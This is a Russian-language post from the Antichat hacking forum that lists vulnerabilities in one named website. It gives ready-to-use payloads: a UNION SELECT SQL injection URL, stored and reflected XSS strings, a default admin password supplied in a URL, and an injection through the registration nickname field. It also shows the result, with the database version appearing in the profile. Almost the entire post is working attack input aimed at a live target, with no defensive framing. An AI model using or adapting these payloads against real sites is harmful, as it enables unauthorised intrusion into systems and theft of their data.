Форум АНТИЧАТ - Показать сообщение отдельно

SQL-INJ
http://profopros.info/index.php?do=news_more&id=-1+UNION+SELECT+1,2,3,version(),5,6+--+-

Активная XSS в гостевой

Код:

[img]javascript:alert()[/img]

Пассивная XSS
http://profopros.info/subscribe/addemail.php?email=<script>alert()</script>

Дефолтный пароль на админку подписки на рассылку
http://profopros.info/subscribe/admin.php?pswrd=admin

SQL-INJ в регистрации
Регаемся с ником

логин','пароль',version(),'1231','111', '111','111','111')#

Цитата:

Ваш Логин: 222
Посл. ip :xxx
Счет : 1231 р. [+]

В профиле -

Цитата:

Почтовый ящик: 5.0.67-percona-highperf-b7-log

Примерно так же и в смене пароля в профиле.